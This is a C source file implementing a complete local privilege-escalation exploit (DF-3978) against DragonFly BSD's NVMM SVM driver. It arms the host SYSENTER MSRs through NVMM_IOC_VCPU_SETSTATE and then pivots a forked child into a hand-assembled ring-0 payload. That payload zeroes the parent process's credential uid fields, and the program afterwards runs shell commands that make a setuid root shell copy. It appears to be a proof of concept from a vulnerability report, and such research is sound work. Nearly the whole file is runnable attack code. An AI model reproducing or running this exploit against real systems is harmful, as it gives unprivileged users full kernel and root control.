/*
 * exploit.c -- DF-3978 full chain: unprivileged NVMM SVM user -> uid=0.
 *
 * Chain (file refs are into the DragonFly tree):
 *   [1] NVMM_IOC_VCPU_SETSTATE writes attacker msrs[] verbatim into the
 *       VMCB, including SYSENTER_{CS,ESP,EIP}
 *       (sys/dev/virtual/nvmm/x86/nvmm_x86_svm.c:2005-2010).
 *   [2] NVMM_IOC_VCPU_RUN -> svm_vmrun asm executes `vmload` before every
 *       `vmrun` (sys/dev/virtual/nvmm/x86/nvmm_x86_svmfunc.S:180),
 *       installing those values into the live IA32_SYSENTER_* MSRs.
 *   [3] #VMEXIT does not restore them (host save area does not cover
 *       VMLOAD-managed MSRs) and svm_vcpu_guest_misc_leave()
 *       (nvmm_x86_svm.c:1524-1537) restores only STAR/LSTAR/CSTAR/SFMASK/
 *       FSBASE/KERNELGSBASE -> the corruption persists on the CPU
 *       (verified live: kern.df3978_msrs shows the armed values).
 *   [4] `sysenter` from ANY process transfers to ring 0 at
 *       IA32_SYSENTER_EIP with RSP=IA32_SYSENTER_ESP, CS=IA32_SYSENTER_CS.
 *       On this CPU (qemu64 TCG: no SMEP/SMAP) the ring-0 gadget lives in
 *       a user page.  NB: QEMU's translator implements the Intel SDM rule
 *       (SYSENTER in *64-bit* mode -> #UD, observed as SIGILL in phase
 *       A0), while AMD silicon (where SVM exists) allows it in long mode;
 *       the compat-mode (32-bit CS) SYSENTER used for the pivot is valid
 *       on both.  The pivot is executed by a forked child that never
 *       touched /dev/nvmm -- demonstrating the "any process" clause.
 *   [5] Payload: reads CR0 (proof of CPL0), patches the PARENT process's
 *       struct ucred (cr_uid/cr_ruid/cr_svuid = 0), returns to the child
 *       via iretq.  Parent observes uid=0.
 *
 * Usage: ./exploit <pproc> <off_p_ucred> <off_cr_uid> <off_cr_ruid>
 *                   <off_cr_svuid> [stage]  (hex, from the df3978 rig;
 *                   pproc=0 -> deferred rig resolve;
 *                   stage: full|arm|consume|baseline)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <signal.h>
#include <setjmp.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <dev/virtual/nvmm/nvmm.h>
#include <dev/virtual/nvmm/nvmm_ioctl.h>

#define HVA_BASE	0x10000000UL
#define COMM_BASE	0x30000000UL
#define RAM_SIZE	(2UL * 1024 * 1024)
#define G_CODE		0x1000
#define G_STACK	0x7000

#define PAY_VA		0x40000000UL	/* CPL0 payload page (RWX)      */
#define CONT_VA		(PAY_VA + 0x200)
#define STUB32		(PAY_VA + 0x300)	/* compat sysenter stub  */
#define CROUT		(PAY_VA + 0xf00)	/* CR0 proof slot        */
#define MARK		(PAY_VA + 0xf08)	/* CPL0 marker 0x3978    */
#define PPSLOT		(PAY_VA + 0xf10)	/* struct proc * target  */
#define USTK		0x50000000UL	/* CPL0/user stack pages        */
#define USTACK_TOP	(USTK + 0x2000)	/* iretq RSP; retaddr lives here */
#define R0_STACK	(USTK + 0x800)	/* SYSENTER_ESP value           */

#define HIJACK_SYSENTER_CS	0x08	/* GSEL(GCODE_SEL=1, SEL_KPL)   */
#define CHILD_WIN_CODE		0x42

static int fd;
static nvmm_machid_t machid;
static uint64_t off_p_ucred, off_cr_uid, off_cr_ruid, off_cr_svuid;

static sigjmp_buf jb;
static volatile sig_atomic_t got_sig;

static void child_after0(void) __attribute__((__noreturn__, __used__));

static void
sig_handler(int sig)
{
	got_sig = sig;
	siglongjmp(jb, 1);
}

/* 64-bit-mode sysenter: informational only.  Under QEMU TCG this faults
 * with SIGILL (#UD: Intel SDM 64-bit rule); on AMD hardware it behaves
 * like the compat form.  Safe to run in-process: the fault happens with
 * CS unchanged (64-bit), so siglongjmp recovers cleanly. */
static int
try_sysenter64(void)
{
	struct sigaction sa, osa;
	int r = -1;

	got_sig = 0;
	memset(&sa, 0, sizeof(sa));
	sa.sa_handler = sig_handler;
	sigemptyset(&sa.sa_mask);
	sigaction(SIGSEGV, &sa, &osa);
	sigaction(SIGILL, &sa, NULL);
	sigaction(SIGBUS, &sa, NULL);

	if (sigsetjmp(jb, 1) == 0) {
		__asm volatile (
			"	.byte	0x0F, 0x34	\n"	/* sysenter */
			"	int3			\n"
			: : : "memory");
		r = 0;
	} else {
		r = got_sig;
	}
	sigaction(SIGSEGV, &osa, NULL);
	return r;
}

/* Far-return down into the 32-bit compat code segment (GUCODE32_SEL=3 ->
 * selector 0x1b) and execute the sysenter stub there.  Never returns. */
static void __attribute__((__noreturn__, __noinline__))
compat_sysenter(void)
{
	__asm volatile (
		"	pushq	$0x1b			\n"
		"	pushq	%0			\n"
		"	lretq				\n"
		:
		: "r"((uint64_t)STUB32)
		: "memory");
	__builtin_unreachable();
}

static void
die(const char *m)
{
	fprintf(stderr, "DIE: %s: %s\n", m, strerror(errno));
	exit(1);
}

/* ---- byte emitter for the CPL0 payload ---- */
static uint8_t *pp;
static void e8_(uint8_t b0)			{ *pp++ = b0; }
static void e16_(uint8_t b0, uint8_t b1)	{ pp[0]=b0; pp[1]=b1; pp+=2; }
static void e24_(uint8_t a, uint8_t b, uint8_t c){ pp[0]=a; pp[1]=b; pp[2]=c; pp+=3; }
static void e32_(uint8_t a, uint8_t b, uint8_t c, uint8_t d)
						{ pp[0]=a; pp[1]=b; pp[2]=c; pp[3]=d; pp+=4; }
static void eimm32_(uint32_t v)			{ memcpy(pp, &v, 4); pp += 4; }
static void eimm64_(uint64_t v)			{ memcpy(pp, &v, 8); pp += 8; }

static void
build_payload(uint64_t pproc)
{
	uint8_t *page = (uint8_t *)PAY_VA;
	uint32_t mark32 = (uint32_t)MARK;
	size_t jz_pos, jz_target;

	memset(page, 0xCC, 0x1000);
	pp = page;

	/* mov rax, cr0 ; mov [CROUT], rax   -- CPL0 proof */
	e24_(0x48, 0x0F, 0x20); e8_(0xC0);
	e16_(0x48, 0xA3); eimm64_(CROUT);
	/* mov rax, [PPSLOT]                 -- target struct proc * */
	e16_(0x48, 0xA1); eimm64_(PPSLOT);
	/* mov rax, [rax+off_p_ucred] */
	e24_(0x48, 0x8B, 0x80); eimm32_((uint32_t)off_p_ucred);
	/* test rax, rax ; jz skip           -- never fault in ring 0 */
	e24_(0x48, 0x85, 0xC0);
	jz_pos = (size_t)(pp - page);
	e16_(0x74, 0x00);				/* patched below */
	/* mov dword [rax+off_cr_X], 0   (uid/ruid/svuid) */
	e16_(0xC7, 0x80); eimm32_((uint32_t)off_cr_uid);   eimm32_(0);
	e16_(0xC7, 0x80); eimm32_((uint32_t)off_cr_ruid);  eimm32_(0);
	e16_(0xC7, 0x80); eimm32_((uint32_t)off_cr_svuid); eimm32_(0);
	jz_target = (size_t)(pp - page);
	page[jz_pos + 1] = (uint8_t)(jz_target - (jz_pos + 2));
	/* mov dword [MARK], 0x3978 */
	e24_(0xC7, 0x04, 0x25); eimm32_(mark32); eimm32_(0x3978);
	/* ---- iretq frame back to CPL3 ---- */
	e16_(0x6A, 0x23);				/* push 0x23 (SS)   */
	e16_(0x48, 0xB8); eimm64_(USTACK_TOP);		/* mov rax, USTACK_TOP */
	e8_(0x50);					/* push rax (RSP)   */
	e8_(0x9C);					/* pushfq           */
	e24_(0x81, 0x0C, 0x24); eimm32_(0x200);		/* or [rsp], IF     */
	e16_(0x6A, 0x2B);				/* push 0x2b (CS)   */
	e16_(0x48, 0xB8); eimm64_(CONT_VA);		/* mov rax, CONT_VA */
	e8_(0x50);					/* push rax (RIP)   */
	e16_(0x48, 0xCF);				/* iretq            */

	/* CONT_VA: trampoline: ret into child_after0 (retaddr at USTACK_TOP) */
	pp = page + 0x200;
	e8_(0xC3);

	/* STUB32 (compat mode): sysenter ; ud2 */
	pp = page + 0x300;
	e16_(0x0F, 0x34);
	e16_(0x0F, 0x0B);

	*(uint64_t *)CROUT  = 0;
	*(uint32_t *)MARK   = 0;
	*(uint64_t *)PPSLOT = pproc;
	*(uint64_t *)USTACK_TOP = (uint64_t)(uintptr_t)&child_after0;

	printf("[P] payload bytes @%#lx:", PAY_VA);
	for (size_t i = 0; i < 0x50; i++)
		printf("%02x", page[i]);
	printf("\n");
}

/*
 * Runs in the sacrificial child, entered from CPL0 via CONT_VA's `ret`.
 * The payload patched the PARENT's ucred (PPSLOT); this child reports the
 * ring-0 proof from its own COW copy of the payload page and exits with
 * the success code the parent waits for.
 */
static void __attribute__((__noreturn__, __used__))
child_after0(void)
{
	uint64_t cr0 = *(uint64_t *)CROUT;
	uint32_t mark = *(uint32_t *)MARK;

	printf("[C5] RETURNED FROM RING 0 (child pid=%d): cr0=%#llx "
	    "marker=%#x%s\n", getpid(), (unsigned long long)cr0, mark,
	    (mark == 0x3978 && cr0 != 0) ? "   *** RING 0 EXECUTED ***" : "");
	printf("[C6] child's own uid=%d (the payload patched the PARENT's "
	    "creds; the child never opened /dev/nvmm)\n", getuid());
	fflush(stdout);
	_exit(CHILD_WIN_CODE);
}

/*
 * The consumer child inherits the payload/stack pages copy-on-write from
 * the fork.  A kernel-mode (CPL0) write to a COW page cannot be resolved
 * by the VM system (user-mode faults only), so force the child's private
 * writable copies now, from user mode, for every location the ring-0
 * payload writes: the CROUT/MARK/PPSLOT slots and the iretq frame area
 * below the ring-0 stack pointer.
 */
static void
cow_pre_touch(void)
{
	volatile uint64_t *w;

	for (w = (volatile uint64_t *)CROUT; (uintptr_t)w < PPSLOT + 8; w++)
		*w = *w;
	for (w = (volatile uint64_t *)(R0_STACK - 0x80);
	    (uintptr_t)w < R0_STACK + 8; w++)
		*w = *w;
}

/*
 * Fork a fresh process that far-returns into compat mode and executes
 * `sysenter` there.  Returns: -1 fork error, else the decoded wait status
 * info: on signal -> 128+sig, on CHILD_WIN_CODE exit -> CHILD_WIN_CODE.
 */
static int
run_consumer_child(void)
{
	pid_t pid;
	int status;

	pid = fork();
	if (pid < 0)
		die("fork");
	if (pid == 0) {
		signal(SIGSEGV, SIG_DFL);
		signal(SIGILL, SIG_DFL);
		signal(SIGBUS, SIG_DFL);
		setvbuf(stdout, NULL, _IONBF, 0);
		cow_pre_touch();
		compat_sysenter();		/* never returns */
		_exit(99);
	}
	if (waitpid(pid, &status, 0) < 0)
		die("waitpid");
	if (WIFSIGNALED(status))
		return 128 + WTERMSIG(status);
	if (WIFEXITED(status))
		return WEXITSTATUS(status);
	return -2;
}

int
main(int argc, char **argv)
{
	struct nvmm_ioc_capability c;
	struct nvmm_ioc_machine_create mc;
	struct nvmm_ioc_hva_map hm;
	struct nvmm_ioc_gpa_map gm;
	struct nvmm_ioc_vcpu_create vc;
	struct nvmm_ioc_vcpu_setstate ss;
	struct nvmm_ioc_vcpu_run rr;
	struct nvmm_comm_page *comm;
	struct nvmm_x64_state *st;
	uint64_t pproc;
	int r;
	const char *stage = (argc > 6) ? argv[6] : "full";

	if (argc != 6 && argc != 7) {
		fprintf(stderr,
		    "usage: %s pproc off_p_ucred off_cr_uid off_cr_ruid "
		    "off_cr_svuid [stage]   (hex; from df3978 rig; pproc=0 "
		    "-> deferred resolve; stage: full|arm|consume|baseline)\n",
		    argv[0]);
		return 2;
	}
	pproc        = strtoull(argv[1], NULL, 16);
	off_p_ucred  = strtoull(argv[2], NULL, 16);
	off_cr_uid   = strtoull(argv[3], NULL, 16);
	off_cr_ruid  = strtoull(argv[4], NULL, 16);
	off_cr_svuid = strtoull(argv[5], NULL, 16);

	setvbuf(stdout, NULL, _IONBF, 0);
	printf("[*] DF-3978 exploit; pid=%d pproc=%#llx "
	    "off(p_ucred)=%#llx off(cr_uid)=%#llx\n",
	    getpid(), (unsigned long long)pproc,
	    (unsigned long long)off_p_ucred,
	    (unsigned long long)off_cr_uid);
	printf("[*] uid=%d euid=%d\n", getuid(), geteuid());

	if (pproc == 0) {
		/* deferred mode: root side resolves our pid via the rig and
		 * drops the struct proc * into /tmp/df3978.pproc */
		FILE *f;
		int i;
		printf("[W] pid=%d: waiting for /tmp/df3978.pproc ...\n",
		    getpid());
		for (i = 0; i < 120; i++) {
			if ((f = fopen("/tmp/df3978.pproc", "r")) != NULL) {
				if (fscanf(f, "%llx",
				    (unsigned long long *)&pproc) == 1 &&
				    pproc != 0) {
					fclose(f);
					break;
				}
				fclose(f);
			}
			sleep(2);
		}
		if (pproc == 0)
			die("no pproc file");
		printf("[W] got pproc=%#llx\n", (unsigned long long)pproc);
	}

	if (mmap((void *)PAY_VA, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
	    MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) != (void *)PAY_VA)
		die("mmap PAY");
	if (mmap((void *)USTK, 0x3000, PROT_READ | PROT_WRITE,
	    MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) != (void *)USTK)
		die("mmap USTK");
	build_payload(pproc);

	if (strcmp(stage, "baseline") == 0) {
		/* stage: consumer child on a clean host (MSRs must be
		 * un-armed): expect a signal death, machine must survive */
		r = run_consumer_child();
		printf("[baseline] compat sysenter (child): %s (status %d)\n",
		    r >= 128 ? "faulted" : "??", r);
		printf("[baseline] guest survived: pid=%d alive\n", getpid());
		return 0;
	}

	if (strcmp(stage, "consume") == 0) {
		/* stage: consumer child against previously-armed MSRs */
		printf("[consume] forking consumer child (compat-mode "
		    "sysenter) ...\n");
		r = run_consumer_child();
		if (r == CHILD_WIN_CODE) {
			printf("[consume] consumer child returned FROM RING 0; "
			    "this process now has uid=%d euid=%d%s\n",
			    getuid(), geteuid(),
			    getuid() == 0 ? "   *** UID 0 ***" : "");
			if (getuid() == 0) {
				system("id");
				system("echo DF3978-PWNED > "
				    "/tmp/df3978_pwned; "
				    "ls -l /tmp/df3978_pwned");
			}
		} else {
			printf("[consume] child status %d\n", r);
		}
		return r == CHILD_WIN_CODE ? 0 : 9;
	}

	/* ---- phase A: baseline compat sysenter on a clean host ---- */
	r = run_consumer_child();
	printf("[A] baseline compat sysenter (child): %s (status %d)\n",
	    r >= 128 ? "faulted" : "??", r);
	/* informational: 64-bit-mode sysenter */
	r = try_sysenter64();
	printf("[A0] 64-bit sysenter direct: %s (signal %d) [Intel-SDM #UD "
	    "rule under QEMU; valid on AMD silicon]\n",
	    r == 0 ? "NO FAULT (?!)" : "faulted", r);

	/* ---- phase B: arm VMCB SYSENTER fields + one VCPU_RUN ---- */
	fd = open("/dev/nvmm", O_RDONLY | O_CLOEXEC);
	if (fd < 0)
		die("open(/dev/nvmm)");

	memset(&c, 0, sizeof(c));
	if (ioctl(fd, NVMM_IOC_CAPABILITY, &c))
		die("capability");
	printf("[B] nvmm capability v%u ok\n", c.cap.version);

	memset(&mc, 0, sizeof(mc));
	if (ioctl(fd, NVMM_IOC_MACHINE_CREATE, &mc))
		die("machine_create");
	machid = mc.machid;

	memset(&hm, 0, sizeof(hm));
	hm.machid = machid; hm.hva = HVA_BASE; hm.size = RAM_SIZE;
	if (ioctl(fd, NVMM_IOC_HVA_MAP, &hm))
		die("hva_map");

	memset(&gm, 0, sizeof(gm));
	gm.machid = machid; gm.hva = HVA_BASE; gm.gpa = 0; gm.size = RAM_SIZE;
	gm.prot = PROT_READ | PROT_WRITE | PROT_EXEC;
	if (ioctl(fd, NVMM_IOC_GPA_MAP, &gm))
		die("gpa_map");

	memset(&vc, 0, sizeof(vc));
	vc.machid = machid; vc.cpuid = 0; vc.comm = (void *)COMM_BASE;
	if (ioctl(fd, NVMM_IOC_VCPU_CREATE, &vc))
		die("vcpu_create");
	comm = (struct nvmm_comm_page *)vc.comm;

	*(uint8_t *)(HVA_BASE + G_CODE) = 0xF4;		/* hlt */

	st = &comm->state;
	memset(st, 0, sizeof(*st));
	for (int i = 0; i < NVMM_X64_NSEG; i++) {
		st->segs[i].limit = 0xFFFF;
		st->segs[i].attrib.type = 3;
		st->segs[i].attrib.p = 1;
	}
	st->segs[NVMM_X64_SEG_GDT].attrib.type = 2;
	st->segs[NVMM_X64_SEG_IDT].attrib.type = 2;
	st->segs[NVMM_X64_SEG_TR].attrib.type = 3;
	st->segs[NVMM_X64_SEG_TR].attrib.s = 0;
	st->segs[NVMM_X64_SEG_LDT].attrib.s = 0;
	st->gprs[NVMM_X64_GPR_RFLAGS] = 2;
	st->gprs[NVMM_X64_GPR_RIP] = G_CODE;
	st->gprs[NVMM_X64_GPR_RSP] = G_STACK;
	st->crs[NVMM_X64_CR_CR0] = 0x10;
	st->crs[NVMM_X64_CR_XCR0] = 1;
	st->drs[NVMM_X64_DR_DR6] = 0xFFFF0FF0;
	st->drs[NVMM_X64_DR_DR7] = 0x400;

	/* ---- the attack: CPL0 pivot parameters in the VMCB ---- */
	st->msrs[NVMM_X64_MSR_SYSENTER_CS]  = HIJACK_SYSENTER_CS;
	st->msrs[NVMM_X64_MSR_SYSENTER_ESP] = R0_STACK;
	st->msrs[NVMM_X64_MSR_SYSENTER_EIP] = PAY_VA;

	comm->state_wanted = NVMM_X64_STATE_ALL;
	memset(&ss, 0, sizeof(ss));
	ss.machid = machid; ss.cpuid = 0;
	if (ioctl(fd, NVMM_IOC_VCPU_SETSTATE, &ss))
		die("vcpu_setstate");
	printf("[B] setstate ok: SYSENTER_CS=%#x ESP=%#lx EIP=%#lx (payload "
	    "page) armed\n", HIJACK_SYSENTER_CS, R0_STACK, PAY_VA);

	memset(&rr, 0, sizeof(rr));
	rr.machid = machid; rr.cpuid = 0;
	r = ioctl(fd, NVMM_IOC_VCPU_RUN, &rr);
	printf("[B] vcpu_run rc=%d exit.reason=%d (any rc suffices: the asm "
	    "prologue's vmload already loaded the guest SYSENTER MSRs)\n",
	    r, rr.exit.reason);

	if (strcmp(stage, "arm") == 0) {
		printf("[arm] armed and one VCPU_RUN done; exiting with MSRs "
		    "left corrupted (the finding's persistence property)\n");
		return 0;
	}

	/* ---- phase C: a forked process that never touched nvmm pivots ---- */
	printf("[C] forking consumer child (compat-mode sysenter) ...\n");
	r = run_consumer_child();
	if (r == CHILD_WIN_CODE) {
		printf("[D] consumer child returned FROM RING 0; this "
		    "(arming) process now has uid=%d euid=%d%s\n",
		    getuid(), geteuid(),
		    getuid() == 0 ? "   *** UID 0 ***" : "");
		if (getuid() == 0) {
			system("id");
			system("echo DF3978-PWNED > /tmp/df3978_pwned; "
			    "ls -l /tmp/df3978_pwned");
			system("cp /bin/sh /tmp/rootsh && chmod 4755 "
			    "/tmp/rootsh && ls -l /tmp/rootsh && "
			    "rm -f /tmp/rootsh");
		}
		printf("[*] done (uid0 chain complete)\n");
		return 0;
	}
	printf("[C] consumer child did NOT pivot (status %d): host SYSENTER "
	    "MSRs not corrupted (fixed backend / no SVM)\n", r);
	return 9;
}
